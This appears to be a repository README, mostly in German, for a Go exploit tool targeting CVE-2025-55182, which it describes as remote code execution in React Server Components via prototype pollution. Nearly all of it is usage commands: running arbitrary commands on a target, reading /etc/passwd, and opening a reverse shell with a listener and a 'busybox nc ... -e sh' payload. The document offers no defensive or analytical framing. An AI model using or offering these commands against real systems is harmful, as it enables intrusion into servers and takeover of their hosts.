w3nch/cve-2025-55182-in-goGo-basierter Exploit für CVE-2025-55182, der Remote Code Execution in React Server Components durch Prototype Pollution ermöglicht. Unterstützt die Ausführung beliebiger Befehle und Reverse-Shell-Payloads.
Exploit für RCE in React Server Components via Prototype Pollution.
go run main.go -t <target> -c <command>
go run main.go -t http://127.0.0.1 -c "id"
go run main.go -t http://127.0.0.1 -c "ls -la"
go run main.go -t http://127.0.0.1 -c "cat /etc/passwd"
Reverse Shell einrichten
penelope -i 0.0.0.0 -p 1337
Verwende busybox:
go run main.go -t http://127.0.0.1 -c "busybox nc 127.0.0.1 1337 -e sh"
go build -o exploit .